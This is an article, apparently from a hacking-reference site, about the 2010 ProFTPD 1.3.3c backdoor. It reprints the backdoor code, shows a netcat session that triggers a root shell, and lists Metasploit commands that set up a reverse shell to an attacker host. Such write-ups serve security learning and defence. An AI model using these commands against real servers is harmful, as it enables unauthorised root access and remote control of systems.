Skip to content
HackIndex logo

HackIndex

ProFTPD 1.3.3c Backdoor

2 min read Jul 9, 2026

CVE: CVE-2010-20103

The ProFTPD 1.3.3c backdoor stems from a real-world supply-chain attack in late 2010. Attackers compromised the official ProFTPD distribution server and replaced the source tarballs (proftpd-1.3.3c.tar.gz/bz2) with trojaned versions for a few days (Nov 28 - Dec 2). Anyone who compiled and installed from those files got a daemon with a deliberate root backdoor.

Technical Details

The malicious code lives in src/help.c. The attackers added a check in the HELP command handler:

if (strcmp(target, "ACIDBITCHEZ") == 0) {
  setuid(0);
  setgid(0);
  system("/bin/sh;/sbin/sh");
}

When the FTP client sends HELP ACIDBITCHEZ, the server spawns /bin/sh as root (since ProFTPD typically runs as root) and pipes subsequent input lines directly to it. Output from commands is sent back as HELP responses. No authentication required. Subsequent lines on the connection are treated as shell commands executed with root privileges.

This gives unauthenticated remote root command execution. Instant game over.

Manual Exploitation

Connect with netcat or telnet:

┌──(kali㉿kali)-[~]
└─$ nc $TARGET_IP 21
HELP ACIDBITCHEZ
id 
uid=0(root) gid=0(root) ...

All commands run as root.

Metasploit Module

msf6 > use exploit/unix/ftp/proftpd_133c_backdoor
msf6 > set RHOSTS $TARGET_IP
msf6 > set payload cmd/unix/reverse_perl # or reverse_bash, bind_tcp, etc.
msf6 > set LHOST $ATTACKER_IP
msf6 > exploit

The module sends HELP ACIDBITCHEZ, verifies the backdoor is active, then delivers the payload command (wrapped in nohup for background execution). Drops a root meterpreter or command shell.

References